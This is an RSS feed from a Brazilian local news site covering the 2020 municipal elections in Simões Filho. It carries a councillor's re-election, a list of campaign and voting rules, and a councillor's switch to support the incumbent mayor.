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	<title>Simões Filho Em Pauta &#187; Eleições</title>
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	<description>Notícias de Simões Filho e região metropolitana de Salvador, Camaçari, Lauro de Freitas, Dias d&#039;Ávila</description>
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		<title>Pela segunda vez consecutiva, Orlando de Amadeu é o vereador mais votado de Simões Filho</title>
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		<pubDate>Mon, 16 Nov 2020 13:41:32 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
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		<description><![CDATA[Com uma votação expressiva, o candidato da Força do Trabalho, Orlando de Amadeu (PSDB) obteve uma vitória expressiva e surpreendente nas urnas neste domingo, 15, conquistando a reeleição como o mais votado no município. Ele obteve 1.802 votos, sendo o líder isolado na preferência dos eleitores da cidade, o que lhe credita como um dos ocupantes das 19 cadeiras da Câmara de Vereadores. O político comemorou a conquista, uma vez que sua votação foi superior a conquistada nas primeiras vezes quando concorreu ao Legislativo Municipal. Na escolha pelos candidatos que disputaram uma das 19 vagas na Câmara de Vereadores, o eleitorado simõesfilhense preferiu apostar em nomes conhecidos e novos que foram eleitos. O mais votado entre eles foi o vereador Orlando de Amadeu, que conquistou 1.802 votos obtidos na cidade. Agora, com a reeleição, Orlando ocupa novamente uma das cadeiras da Câmara de Vereadores entre os demais 19 eleitos ao cargo no Legislativo Municipal. Após se consagrar vitorioso nas urnas, Orlando agradeceu principalmente o apoio eleitores da cidade onde os números de votos foram expressivos e renova o mandato com o compromisso em fazer deste o melhor mandato da sua vida pública. &#8220;Mais uma vez, vencemos pela força do trabalho! Me disseram que não dava para ser o mais votado pelo segundo ano consecutivo. Disseram que não confiavam no meu trabalho. Disseram que presidente não se reelege. Duvidaram da minha capacidade. O certo é que hoje quebramos dois tabus: o primeiro presidente a ser reeleito e o primeiro vereador a ser o mais votado em duas eleições seguidas. Hoje, recebi 1.802 votos de confiança! Vocês acreditaram em mim mais uma vez! Muito obrigado! Com a permissão de Deus, seguiremos juntos por mais 4 anos, trabalhando pelo bem da nossa cidade! Muito obrigado Simões Filho!&#8221;, expressou Orlando pelas redes sociais. Ao analisar o seu desempenho nas urnas, Orlando credita sua vitória ao trabalho em equipe centralizado na capacidade de mobilização realizada durante toda a campanha. “São pessoas que acreditam no meu trabalho e que ajudaram na conquista dos votos. Não tenho palavras para agradecer o carinho e a confiança depositada em mim. Todos tiveram papel importante neste resultado e, por isso, quero que se sintam imensamente agradecidos. Foram diversos lugares rodados ao longo de minha campanha, durante os 45 dias, mas tudo isso é gratificante. Agora transfiro toda esta votação em compromisso de fazer um excelente trabalho para o povo da minha amada cidade”, afirmou. O candidato reeleito comemorou a vitória com o povo das comunidades de Palmares, Pitanga de Palmares, Quilombo Dandá e também no Centro onde obteve votações expressivas. Nas três localidades, Orlando foi abraçado e cumprimentado calorosamente por apoiadores e populares a quem agradeceu por todo apoio neste período de campanha. No Centro da Cidade, Orlando subiu no trio onde comemorou à reeleição do prefeito Dinha Tolentino que obteve 33.972 votos (55,10%) pela Coligação ‘Pra Fazer Muito Mais’ (MDB/PSC/PSL/REPUBLICANOS/DEM/PSDB).]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Com uma votação expressiva, o candidato da <strong>Força do Trabalho</strong>, Orlando de Amadeu (PSDB) obteve uma vitória expressiva e surpreendente nas urnas neste domingo, 15, conquistando a reeleição como o mais votado no município. Ele obteve 1.802 votos, sendo o líder isolado na preferência dos eleitores da cidade, o que lhe credita como um dos ocupantes das 19 cadeiras da Câmara de Vereadores. O político comemorou a conquista, uma vez que sua votação foi superior a conquistada nas primeiras vezes quando concorreu ao Legislativo Municipal.</p>
<p style="text-align: justify;">Na escolha pelos candidatos que disputaram uma das 19 vagas na Câmara de Vereadores, o eleitorado simõesfilhense preferiu apostar em nomes conhecidos e novos que foram eleitos. O mais votado entre eles foi o vereador Orlando de Amadeu, que conquistou 1.802 votos obtidos na cidade.</p>
<p style="text-align: justify;">Agora, com a reeleição, Orlando ocupa novamente uma das cadeiras da Câmara de Vereadores entre os demais 19 eleitos ao cargo no Legislativo Municipal.</p>
<p><img class="size-large wp-image-22024 aligncenter" src="http://simoesfilhoempauta.com.br/wp-content/uploads/jhbvc-350x233.jpg" alt="" width="350" height="233" /></p>
<p style="text-align: justify;">Após se consagrar vitorioso nas urnas, Orlando agradeceu principalmente o apoio eleitores da cidade onde os números de votos foram expressivos e renova o mandato com o compromisso em fazer deste o melhor mandato da sua vida pública.</p>
<p style="text-align: justify;">&#8220;Mais uma vez, vencemos pela força do trabalho! Me disseram que não dava para ser o mais votado pelo segundo ano consecutivo. Disseram que não confiavam no meu trabalho. Disseram que presidente não se reelege. Duvidaram da minha capacidade. O certo é que hoje quebramos dois tabus: o primeiro presidente a ser reeleito e o primeiro vereador a ser o mais votado em duas eleições seguidas. Hoje, recebi 1.802 votos de confiança! Vocês acreditaram em mim mais uma vez! Muito obrigado! Com a permissão de Deus, seguiremos juntos por mais 4 anos, trabalhando pelo bem da nossa cidade! Muito obrigado Simões Filho!&#8221;, expressou Orlando pelas redes sociais.</p>
<p style="text-align: justify;">Ao analisar o seu desempenho nas urnas, Orlando credita sua vitória ao trabalho em equipe centralizado na capacidade de mobilização realizada durante toda a campanha. “São pessoas que acreditam no meu trabalho e que ajudaram na conquista dos votos. Não tenho palavras para agradecer o carinho e a confiança depositada em mim. Todos tiveram papel importante neste resultado e, por isso, quero que se sintam imensamente agradecidos. Foram diversos lugares rodados ao longo de minha campanha, durante os 45 dias, mas tudo isso é gratificante. Agora transfiro toda esta votação em compromisso de fazer um excelente trabalho para o povo da minha amada cidade”, afirmou.</p>
<p style="text-align: justify;">O candidato reeleito comemorou a vitória com o povo das comunidades de Palmares, Pitanga de Palmares, Quilombo Dandá e também no Centro onde obteve votações expressivas. Nas três localidades, Orlando foi abraçado e cumprimentado calorosamente por apoiadores e populares a quem agradeceu por todo apoio neste período de campanha.</p>
<p style="text-align: justify;">No Centro da Cidade, Orlando subiu no trio onde comemorou à reeleição do prefeito Dinha Tolentino que obteve 33.972 votos (55,10%) pela Coligação ‘Pra Fazer Muito Mais’ (MDB/PSC/PSL/REPUBLICANOS/DEM/PSDB).</p>
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		<title>Eleições 2020: conheça regras e saiba o que candidato e eleitor podem e não podem fazer</title>
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		<pubDate>Sun, 13 Sep 2020 18:27:57 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
				<category><![CDATA[Destaques]]></category>
		<category><![CDATA[Política]]></category>
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		<description><![CDATA[Pouco mais de 147,9 milhões de eleitores estarão aptos a comparecer às urnas nos próximos dia 15 (primeiro turno) e 29 (segundo turno) de novembro para escolher 5.568 prefeitos, 5.568 vice-prefeitos e 57.942 vereadores em todo o Brasil, segundo informações da Corregedoria do Tribunal Superior Eleitoral (TSE). Noventa e cinco cidades têm mais de 200 mil eleitores e, por esse motivo, poderão ter segundo turno para definição do prefeito se, no primeiro, nenhum dos candidatos obtiver maioria absoluta (mais da metade dos votos válidos). O tribunal estima que 750 mil candidatos disputarão as vagas de prefeito e vereador — não há eleições municipais no Distrito Federal. Pelo calendário original da Justiça Eleitoral, o primeiro turno estava marcado para 4 de outubro e o segundo, para 25 de outubro. Mas, em razão da pandemia da Covid-19, o Congresso Nacional decidiu adiar o pleito. Será a primeira eleição em que os partidos não poderão fazer alianças para disputar as vagas nas câmaras municipais – somente para as prefeituras. Veja abaixo quais regras valerão para as eleições municipais de 2020: - Primeiro turno: 15 de novembro - Segundo turno (onde houver): 29 de novembro - Candidatos a prefeito &#8211; podem formar coligações (alianças) com outros partidos para disputar as eleições. - Candidatos a vereador &#8211; coligações estão proibidas para as eleições proporcionais (na eleição deste ano, para vereadores). - Cota &#8211; Cada partido deverá reservar a cota mínima de 30% para mulheres filiadas concorrerem na eleição. - Idade mínima &#8211; A idade mínima para se eleger é de 21 anos para prefeito ou vice-prefeito e de 18 anos para vereador. - Limites de gasto da campanha &#8211; As despesas de campanha devem respeitar um limite, que varia conforme o cargo disputado, a cidade e o turno da eleição. O candidato que descumprir o teto estará sujeito à multa e poderá responder por abuso do poder econômico. Esses limites são iguais aos de 2016, corrigidos pela inflação, medida pelo Índice de Preços ao Consumidor Amplo (IPCA). São Paulo é a cidade com o maior limite de despesas — quase R$ 51,8 milhões para campanha de prefeito no primeiro turno e R$ 20,7 milhões no segundo turno; e R$ 3,6 milhões nas campanhas para vereador. - Autofinanciamento &#8211; O candidato poderá usar recursos próprios para se autofinanciar em até 10% do limite de gasto para o cargo. - Doações &#8211; Somente pessoas físicas podem fazer doações para campanhas eleitorais. As doações são limitadas a 10% da renda bruta do doador no ano de 2019. - Arrecadação pela internet &#8211; Os candidatos poderão fazer arrecadação de recursos pela internet, por meio de cartão de crédito ou de débito. O doador será identificado pelo nome e pelo CPF. Para cada doação realizada, será emitido um recibo eleitoral. - Data de início &#8211; A propaganda eleitoral, inclusive na internet, é permitida a partir de 27 de setembro. - Caminhada e carreata &#8211; De 27 de setembro até as 22h de 14 de novembro, poderá haver distribuição de material gráfico, caminhada, carreata ou passeata, acompanhadas ou não por carro de som ou minitrio. - Propaganda na internet - É permitido fazer campanha na internet por meio de blogs, redes sociais e sites. - Impulsionamento de conteúdo na internet &#8211; Somente partidos, coligações ou candidatos podem fazer impulsionamento de conteúdo, que é o uso de ferramentas oferecidas por plataformas ou redes sociais para difundir o conteúdo a mais usuários e, assim, ter maior alcance. É vedada a utilização de impulsionamento de conteúdos e ferramentas digitais não disponibilizadas pelo provedor da aplicação de internet, ainda que gratuitas. Não é permitido também contratar impulsionamento para propaganda negativa, como críticas e ataques a adversários. Empresas e eleitores não podem fazer impulsionamento de conteúdo. Tanto candidatos e partidos quanto eleitores estão proibidos de contratar serviço de disparo em massa de conteúdo. - Telemarketing &#8211; É vedada a realização de propaganda via telemarketing em qualquer horário, bem como por meio de disparo em massa de mensagens instantâneas sem anuência do destinatário. - Propaganda no rádio e na TV &#8211; Propaganda eleitoral gratuita no rádio e na televisão referente ao primeiro turno será veiculada de 9 de outubro a 12 de novembro. É proibido qualquer tipo de propaganda eleitoral paga no rádio e na televisão. - Propaganda &#8216;cinematográfica&#8217; &#8211; Na propaganda eleitoral de TV e rádio, não podem ser usados efeitos especiais, montagens, trucagens, computação gráfica e desenhos animados. - Propaganda eleitoral na imprensa &#8211; São permitidas, de 27 de setembro até a antevéspera das eleições (dia 13 de novembro), a divulgação paga, na imprensa escrita, e a reprodução na internet do jornal impresso. - Ofensa à honra ou à imagem &#8211; É crime a contratação direta ou indireta de grupo de pessoas para enviar mensagens ou fazer comentários na internet para ofender a honra ou a imagem de candidato, partido ou coligação. Também incorre em crime quem for contratado para fazer isso. - Propaganda proibida na rua &#8211; É proibido fazer propaganda de qualquer natureza (incluindo pinturas, placas, faixas, cavaletes e bonecos) em locais como cinemas, clubes, lojas, centros comerciais, templos, ginásios e estádios, ainda que de propriedade privada. A proibição se estende a postes de iluminação pública, sinalização de tráfego, viadutos, passarelas, pontes e paradas de ônibus, árvores, muros e cercas. - Propaganda permitida na rua &#8211; É permitido colocar bandeiras na rua, desde que não atrapalhem o trânsito de pessoas e veículos, no período entre 6h e 22h. Também é permitido colar adesivo (de 50 cm x 50 cm) em carros, motos, caminhões, bicicletas e janelas residenciais. - Propaganda em veículos &#8211; &#8220;Envelopar&#8221; o carro (cobri-lo totalmente com adesivo) com propaganda eleitoral está proibido. No máximo, poderá ser adesivado o para-brisa traseiro, desde que o adesivo seja microperfurado, ou colocar em outras posições adesivos que não passem de meio metro quadrado. - Distribuição de brindes &#8211; Durante a campanha eleitoral, é vedado ao candidato ou comitê confeccionar e distribuir aos eleitores camisetas, chaveiros, bonés, canetas, brindes, cestas básicas ou outros bens. - Outdoor - É vedada a propaganda eleitoral em outdoors, inclusive eletrônicos. - Alto-falantes &#8211; O uso de alto-falantes ou amplificadores de som é permitido de 27 de setembro a 14 de novembro entre 8h e 22h. Porém, os equipamentos não podem ser usados a menos de 200 metros de locais como as sedes dos Poderes Executivo e Legislativo, quartéis e hospitais, além de escolas, bibliotecas públicas, igrejas e teatros (quando em funcionamento). - Cabos eleitorais &#8211; A contratação de cabo eleitoral é permitida, mas respeitando alguns critérios conforme a quantidade de eleitores no município. - Comícios &#8211; A realização de comícios e o uso de aparelhos de som serão permitidos de 27 de setembro a 12 de novembro entre 8h e a meia-noite, exceto o comício de encerramento da campanha, que poderá prosseguir até as 2h da manhã. - Trio elétrico &#8211; É proibido o uso de trios elétricos em campanhas, exceto para a sonorização de comícios. A circulação de carros de som e minitrios é permitida em comícios, passeatas, carreatas e caminhadas, mas desde que observado o limite de 80 decibéis, medido a sete metros de distância do veículo. - Showmício &#8211; É proibida a realização de showmício para promoção de candidatos, assim como a apresentação, remunerada ou não, de artistas com a finalidade de animar comício e reunião eleitoral. - O que pode usar &#8211; É permitido a qualquer tempo o uso pelo eleitor de bandeiras, broches, adesivos, camisetas e outros adornos semelhantes como forma de manifestar preferência por partido político ou candidato. - Prisão &#8211; A partir de 10 de novembro, nenhum eleitor poderá ser preso ou detido, salvo em flagrante delito, ou em virtude de sentença criminal condenatória por crime inafiançável, ou por desrespeito a salvo-conduto. - Critério &#8211; É permitida a realização de debates promovidos por rádios ou canais de televisão, sendo assegurada a participação de candidatos dos partidos com representação no Congresso Nacional, de, no mínimo, cinco parlamentares. - Prazos &#8211; Dia 12 de novembro é o último dia para a realização dos debates, admitida a extensão até as 7h de 13 de novembro. - Atividades permitidas &#8211; Até as 22h de 14 de novembro, pode haver distribuição de material gráfico, caminhada, carreata, passeata ou carro de som. - ‘Santinhos’ &#8211; Jogar no chão “santinhos” ou material de propaganda no local de votação ou nas vias próximas, ainda que na véspera da eleição, configura propaganda irregular, sujeitando-se o infrator a multa. O candidato beneficiado que tiver conhecimento da prática também poderá ser punido. - Uso de máscara &#8211; obrigatório (quem chegar ao local de votação com o rosto descoberto poderá ser barrado na entrada). - Álcool gel &#8211; eleitor deverá passar álcool em gel nas mãos antes e depois de votar. - Horário de votação &#8211; o período de votação foi ampliado. Será das 7h às 17h, com horário preferencial de 7h às 10h para maiores de 60 anos - Caneta &#8211; O TSE recomenda aos eleitores que levem a própria caneta para assinar o caderno de votações e que o eleitor permaneça pelo tempo mínimo necessário na seção. - Crimes &#8211; Constituem crime, no dia da eleição o uso de alto-falantes e amplificadores de som ou a promoção de comício ou carreata; arregimentação de eleitor ou a propaganda de boca de urna; divulgação de qualquer espécie de propaganda de partidos políticos ou de seus candidatos; publicação de novos conteúdos ou o impulsionamento de conteúdos nas aplicações de internet (podendo ser mantidos em funcionamento as aplicações e os conteúdos publicados anteriormente). - Manifestação silenciosa &#8211; No dia da eleição, estão permitidas manifestações individuais e silenciosas da preferência do eleitor pelo uso de camisetas, bandeiras, broches e adesivos. - Aglomeração de apoiadores &#8211; Estão proibidas aglomerações de pessoas com roupa padronizada até o término do horário de votação. Informações do G1]]></description>
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<div id="article_header" class="SISO_header" style="text-align: justify;">Pouco mais de 147,9 milhões de eleitores estarão aptos a comparecer às urnas nos próximos dia 15 (primeiro turno) e 29 (segundo turno) de novembro para escolher 5.568 prefeitos, 5.568 vice-prefeitos e 57.942 vereadores em todo o Brasil, segundo informações da Corregedoria do Tribunal Superior Eleitoral (TSE).</div>
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<div class="SISO_header" style="text-align: justify;">Noventa e cinco cidades têm mais de 200 mil eleitores e, por esse motivo, poderão ter segundo turno para definição do prefeito se, no primeiro, nenhum dos candidatos obtiver maioria absoluta (mais da metade dos votos válidos).</div>
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<div class="SISO_header" style="text-align: justify;">O tribunal estima que 750 mil candidatos disputarão as vagas de prefeito e vereador — não há eleições municipais no Distrito Federal.</div>
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<div class="SISO_header" style="text-align: justify;">Pelo calendário original da Justiça Eleitoral, o primeiro turno estava marcado para 4 de outubro e o segundo, para 25 de outubro. Mas, em razão da pandemia da Covid-19, o Congresso Nacional decidiu adiar o pleito. Será a primeira eleição em que os partidos não poderão fazer alianças para disputar as vagas nas câmaras municipais – somente para as prefeituras.</div>
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<div><strong>Veja abaixo quais regras valerão para as eleições municipais de 2020:</strong></div>
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<div>- <strong>Primeiro turno:</strong> 15 de novembro</div>
<div>- <strong>Segundo turno</strong> (onde houver): 29 de novembro</div>
<div>- <strong>Candidatos a prefeito</strong> &#8211; podem formar coligações (alianças) com outros partidos para disputar as eleições.</div>
<div>- <strong>Candidatos a vereador</strong> &#8211; coligações estão proibidas para as eleições proporcionais (na eleição deste ano, para vereadores).</div>
<div>- <strong>Cota</strong> &#8211; Cada partido deverá reservar a cota mínima de 30% para mulheres filiadas concorrerem na eleição.</div>
<div>- <strong>Idade mínima</strong> &#8211; A idade mínima para se eleger é de 21 anos para prefeito ou vice-prefeito e de 18 anos para vereador.</div>
<div>- <strong>Limites de gasto da campanha</strong> &#8211; As despesas de campanha devem respeitar um limite, que varia conforme o cargo disputado, a cidade e o turno da eleição. O candidato que descumprir o teto estará sujeito à multa e poderá responder por abuso do poder econômico. Esses limites são iguais aos de 2016, corrigidos pela inflação, medida pelo Índice de Preços ao Consumidor Amplo (IPCA). São Paulo é a cidade com o maior limite de despesas — quase R$ 51,8 milhões para campanha de prefeito no primeiro turno e R$ 20,7 milhões no segundo turno; e R$ 3,6 milhões nas campanhas para vereador.</div>
<div>- <strong>Autofinanciamento</strong> &#8211; O candidato poderá usar recursos próprios para se autofinanciar em até 10% do limite de gasto para o cargo.</div>
<div>- <strong>Doações</strong> &#8211; Somente pessoas físicas podem fazer doações para campanhas eleitorais. As doações são limitadas a 10% da renda bruta do doador no ano de 2019.</div>
<div>- <strong>Arrecadação pela internet</strong> &#8211; Os candidatos poderão fazer arrecadação de recursos pela internet, por meio de cartão de crédito ou de débito. O doador será identificado pelo nome e pelo CPF. Para cada doação realizada, será emitido um recibo eleitoral.</div>
<div>- <strong>Data de início</strong> &#8211; A propaganda eleitoral, inclusive na internet, é permitida a partir de 27 de setembro.</div>
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<div>- <strong>Telemarketing</strong> &#8211; É vedada a realização de propaganda via telemarketing em qualquer horário, bem como por meio de disparo em massa de mensagens instantâneas sem anuência do destinatário.</div>
<div>- <strong>Propaganda no rádio e na TV</strong> &#8211; Propaganda eleitoral gratuita no rádio e na televisão referente ao primeiro turno será veiculada de 9 de outubro a 12 de novembro. É proibido qualquer tipo de propaganda eleitoral paga no rádio e na televisão.</div>
<div>- <strong>Propaganda &#8216;cinematográfica&#8217;</strong> &#8211; Na propaganda eleitoral de TV e rádio, não podem ser usados efeitos especiais, montagens, trucagens, computação gráfica e desenhos animados.</div>
<div>- <strong>Propaganda eleitoral na imprensa</strong> &#8211; São permitidas, de 27 de setembro até a antevéspera das eleições (dia 13 de novembro), a divulgação paga, na imprensa escrita, e a reprodução na internet do jornal impresso.</div>
<div><strong>- Ofensa à honra ou à imagem</strong> &#8211; É crime a contratação direta ou indireta de grupo de pessoas para enviar mensagens ou fazer comentários na internet para ofender a honra ou a imagem de candidato, partido ou coligação. Também incorre em crime quem for contratado para fazer isso.</div>
<div>- <strong>Propaganda proibida na rua</strong> &#8211; É proibido fazer propaganda de qualquer natureza (incluindo pinturas, placas, faixas, cavaletes e bonecos) em locais como cinemas, clubes, lojas, centros comerciais, templos, ginásios e estádios, ainda que de propriedade privada. A proibição se estende a postes de iluminação pública, sinalização de tráfego, viadutos, passarelas, pontes e paradas de ônibus, árvores, muros e cercas.</div>
<div>- <strong>Propaganda permitida na rua</strong> &#8211; É permitido colocar bandeiras na rua, desde que não atrapalhem o trânsito de pessoas e veículos, no período entre 6h e 22h. Também é permitido colar adesivo (de 50 cm x 50 cm) em carros, motos, caminhões, bicicletas e janelas residenciais.</div>
<div>- <strong>Propaganda em veículos</strong> &#8211; &#8220;Envelopar&#8221; o carro (cobri-lo totalmente com adesivo) com propaganda eleitoral está proibido. No máximo, poderá ser adesivado o para-brisa traseiro, desde que o adesivo seja microperfurado, ou colocar em outras posições adesivos que não passem de meio metro quadrado.</div>
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<div>- <strong>Alto-falantes</strong> &#8211; O uso de alto-falantes ou amplificadores de som é permitido de 27 de setembro a 14 de novembro entre 8h e 22h. Porém, os equipamentos não podem ser usados a menos de 200 metros de locais como as sedes dos Poderes Executivo e Legislativo, quartéis e hospitais, além de escolas, bibliotecas públicas, igrejas e teatros (quando em funcionamento).</div>
<div>- <strong>Cabos eleitorais</strong> &#8211; A contratação de cabo eleitoral é permitida, mas respeitando alguns critérios conforme a quantidade de eleitores no município.</div>
<div>- <strong>Comícios</strong> &#8211; A realização de comícios e o uso de aparelhos de som serão permitidos de 27 de setembro a 12 de novembro entre 8h e a meia-noite, exceto o comício de encerramento da campanha, que poderá prosseguir até as 2h da manhã.</div>
<div>- <strong>Trio elétrico</strong> &#8211; É proibido o uso de trios elétricos em campanhas, exceto para a sonorização de comícios. A circulação de carros de som e minitrios é permitida em comícios, passeatas, carreatas e caminhadas, mas desde que observado o limite de 80 decibéis, medido a sete metros de distância do veículo.</div>
<div>- <strong>Showmício</strong> &#8211; É proibida a realização de showmício para promoção de candidatos, assim como a apresentação, remunerada ou não, de artistas com a finalidade de animar comício e reunião eleitoral.</div>
<div>- <strong>O que pode usar</strong> &#8211; É permitido a qualquer tempo o uso pelo eleitor de bandeiras, broches, adesivos, camisetas e outros adornos semelhantes como forma de manifestar preferência por partido político ou candidato.</div>
<div>- <strong>Prisão</strong> &#8211; A partir de 10 de novembro, nenhum eleitor poderá ser preso ou detido, salvo em flagrante delito, ou em virtude de sentença criminal condenatória por crime inafiançável, ou por desrespeito a salvo-conduto.</div>
<div>- <strong>Critério</strong> &#8211; É permitida a realização de debates promovidos por rádios ou canais de televisão, sendo assegurada a participação de candidatos dos partidos com representação no Congresso Nacional, de, no mínimo, cinco parlamentares.</div>
<div>- <strong>Prazos</strong> &#8211; Dia 12 de novembro é o último dia para a realização dos debates, admitida a extensão até as 7h de 13 de novembro.</div>
<div>- <strong>Atividades permitidas</strong> &#8211; Até as 22h de 14 de novembro, pode haver distribuição de material gráfico, caminhada, carreata, passeata ou carro de som.</div>
<div>- <strong>‘Santinhos’</strong> &#8211; Jogar no chão “santinhos” ou material de propaganda no local de votação ou nas vias próximas, ainda que na véspera da eleição, configura propaganda irregular, sujeitando-se o infrator a multa. O candidato beneficiado que tiver conhecimento da prática também poderá ser punido.</div>
<div>- <strong>Uso de máscara</strong> &#8211; obrigatório (quem chegar ao local de votação com o rosto descoberto poderá ser barrado na entrada).</div>
<div>- <strong>Álcool gel</strong> &#8211; eleitor deverá passar álcool em gel nas mãos antes e depois de votar.</div>
<div>- <strong>Horário de votação</strong> &#8211; o período de votação foi ampliado. Será das 7h às 17h, com horário preferencial de 7h às 10h para maiores de 60 anos</div>
<div>- <strong>Caneta</strong> &#8211; O TSE recomenda aos eleitores que levem a própria caneta para assinar o caderno de votações e que o eleitor permaneça pelo tempo mínimo necessário na seção.</div>
<div>- <strong>Crimes</strong> &#8211; Constituem crime, no dia da eleição o uso de alto-falantes e amplificadores de som ou a promoção de comício ou carreata; arregimentação de eleitor ou a propaganda de boca de urna; divulgação de qualquer espécie de propaganda de partidos políticos ou de seus candidatos; publicação de novos conteúdos ou o impulsionamento de conteúdos nas aplicações de internet (podendo ser mantidos em funcionamento as aplicações e os conteúdos publicados anteriormente).</div>
<div>- <strong>Manifestação silenciosa</strong> &#8211; No dia da eleição, estão permitidas manifestações individuais e silenciosas da preferência do eleitor pelo uso de camisetas, bandeiras, broches e adesivos.</div>
<div>- <strong>Aglomeração de apoiadores</strong> &#8211; Estão proibidas aglomerações de pessoas com roupa padronizada até o término do horário de votação.</div>
<div></div>
</div>
</div>
</div>
</div>
<div style="text-align: justify;">Informações do G1</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"></div>
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		<title>Sandro Moreira deixa grupo de oposição e declara apoio à reeleição de Dinha em 2020</title>
		<link>https://simoesfilhoempauta.com.br/2020/04/01/sandro-moreira-deixa-grupo-de-oposicao-e-declara-apoio-a-reeleicao-de-dinha-em-2020/</link>
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		<pubDate>Wed, 01 Apr 2020 16:23:23 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
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		<description><![CDATA[As movimentações políticas rumo às eleições de outubro deste ano estão sendo intensificadas em Simões Filho. Considerado um combativo político e uma importante força política no município, o vereador Sandro Moreira (PSL) declarou nesta quarta-feira (1º) apoio à reeleição ao atual prefeito Diógenes Tolentino ‘Dinha’ nas eleições de outubro de 2020. Esta aliança promete causar surpresas e agitar os bastidores da política na cidade, pois Sandro era, até então, o principal nome de oposição ao atual gestor. O apoio do político, agora declarado ex-adversário, à reeleição do atual prefeito aconteceu na manhã desta quarta (1º) e foi comemorado por Dinha e por demais vereadores da base aliada. Hoje, Sandro fecha a parceria com Dinha a quem declara apoio irrestrito ao pré-candidato que considera ser o melhor e mais bem preparado para assumir novamente o mandato no Executivo Municipal, após uma série de ações e obras feitas em prol da população simõesfilhense. “A minha vinda para o grupo do prefeito Dinha não é algo fantasioso, não é algo de extraordinário, mas é algo que vem pra melhorar, porque eu tenho o objetivo de contribuir com o munícipio e de fazer valer o que, porventura, eu não consegui fazer valer no grupo do ex-prefeito. Eu continuarei tendo respeito pelo ex-prefeito, mas politicamente as nossas ideias não comungam. Então, a gente precisa efetivamente hoje debater a política olhando nos olhos, e hoje, eu consigo olhar nos olhos de Dinha e debater política com ele”, declarou Sandro. Com o crescente apoio da população decorrente da boa gestão, Dinha vem sendo cortejado por lideranças e políticos de diversos partidos e se mantém como favorito à reeleição na cidade. Articulação A tentativa de aproximação entre Sandro Moreira e o prefeito Dinha já vinha acontecendo durante algumas sessões na Câmara Municipal quando o vereador recebeu afagos diretos por parte do atual gestor que passou a elogiar o parlamentar que fez duras críticas ao governo municipal nos últimos anos. O vereador fez oposição durante os quase quatro anos do governo Dinha, modus operandi capitaneado pelo ex-prefeito Eduardo Alencar, principal rival do atual prefeito na tentativa de enfraquecer politicamente o atual gestor. Com Dinha, o agora ex-opositor teve um relacionamento conturbado. Moreira foi protagonista de vários episódios políticos marcantes na Câmara. Sobre o passado, inclusive com troca de declarações fortes pela imprensa, o novo aliado disse que elas pertencem ao passado. Tudo começou a mudar a partir da troca de elogios entre o vereador e o prefeito que passou a ser mútua. Sandro, que até então jurava amores por Alencar nas próximas eleições para prefeito, recuou ao se render à notória popularidade de Dinha e declarar apoio ao atual gestor. O grupo de oposição ao atual prefeito tem perdido força política na cidade. A base do grupo ligada ao ex-prefeito e atualmente deputado estadual Eduardo Alencar (PSD), que também declarou pré-candidatura à prefeitura de Simões Filho, não tem conseguido atrair lideranças e simpatizantes e vem perdendo peças fundamentais para as próximas eleições municipais. O prejuízo, desta vez, foi a saída de Sandro Moreira, um dos principais vereadores de oposição no município que tomou a corajosa decisão de mudar de lado politicamente falando, podendo abrir mão da liderança da bancada que integrou durante o seu mandato parlamentar.]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">As movimentações políticas rumo às eleições de outubro deste ano estão sendo intensificadas em Simões Filho. Considerado um combativo político e uma importante força política no município, o vereador Sandro Moreira (PSL) declarou nesta quarta-feira (1º) apoio à reeleição ao atual prefeito Diógenes Tolentino ‘Dinha’ nas eleições de outubro de 2020. Esta aliança promete causar surpresas e agitar os bastidores da política na cidade, pois Sandro era, até então, o principal nome de oposição ao atual gestor.</p>
<p style="text-align: justify;">O apoio do político, agora declarado ex-adversário, à reeleição do atual prefeito aconteceu na manhã desta quarta (1º) e foi comemorado por Dinha e por demais vereadores da base aliada.</p>
<p style="text-align: justify;">Hoje, Sandro fecha a parceria com Dinha a quem declara apoio irrestrito ao pré-candidato que considera ser o melhor e mais bem preparado para assumir novamente o mandato no Executivo Municipal, após uma série de ações e obras feitas em prol da população simõesfilhense.</p>
<p><img class="alignright wp-image-20013 size-large" src="http://simoesfilhoempauta.com.br/wp-content/uploads/gfdjgh-350x263.jpg" alt="" width="350" height="263" /></p>
<p style="text-align: justify;">“A minha vinda para o grupo do prefeito Dinha não é algo fantasioso, não é algo de extraordinário, mas é algo que vem pra melhorar, porque eu tenho o objetivo de contribuir com o munícipio e de fazer valer o que, porventura, eu não consegui fazer valer no grupo do ex-prefeito. Eu continuarei tendo respeito pelo ex-prefeito, mas politicamente as nossas ideias não comungam. Então, a gente precisa efetivamente hoje debater a política olhando nos olhos, e hoje, eu consigo olhar nos olhos de Dinha e debater política com ele”, declarou Sandro.</p>
<p style="text-align: justify;">Com o crescente apoio da população decorrente da boa gestão, Dinha vem sendo cortejado por lideranças e políticos de diversos partidos e se mantém como favorito à reeleição na cidade.</p>
<p style="text-align: justify;"><strong>Articulação</strong></p>
<p style="text-align: justify;">A tentativa de aproximação entre Sandro Moreira e o prefeito Dinha já vinha acontecendo durante algumas sessões na Câmara Municipal quando o vereador recebeu afagos diretos por parte do atual gestor que passou a elogiar o parlamentar que fez duras críticas ao governo municipal nos últimos anos.</p>
<p style="text-align: justify;">O vereador fez oposição durante os quase quatro anos do governo Dinha, modus operandi capitaneado pelo ex-prefeito Eduardo Alencar, principal rival do atual prefeito na tentativa de enfraquecer politicamente o atual gestor.</p>
<p style="text-align: justify;">Com Dinha, o agora ex-opositor teve um relacionamento conturbado. Moreira foi protagonista de vários episódios políticos marcantes na Câmara. Sobre o passado, inclusive com troca de declarações fortes pela imprensa, o novo aliado disse que elas pertencem ao passado.</p>
<p style="text-align: justify;">Tudo começou a mudar a partir da troca de elogios entre o vereador e o prefeito que passou a ser mútua. Sandro, que até então jurava amores por Alencar nas próximas eleições para prefeito, recuou ao se render à notória popularidade de Dinha e declarar apoio ao atual gestor.</p>
<p style="text-align: justify;">O grupo de oposição ao atual prefeito tem perdido força política na cidade. A base do grupo ligada ao ex-prefeito e atualmente deputado estadual Eduardo Alencar (PSD), que também declarou pré-candidatura à prefeitura de Simões Filho, não tem conseguido atrair lideranças e simpatizantes e vem perdendo peças fundamentais para as próximas eleições municipais.</p>
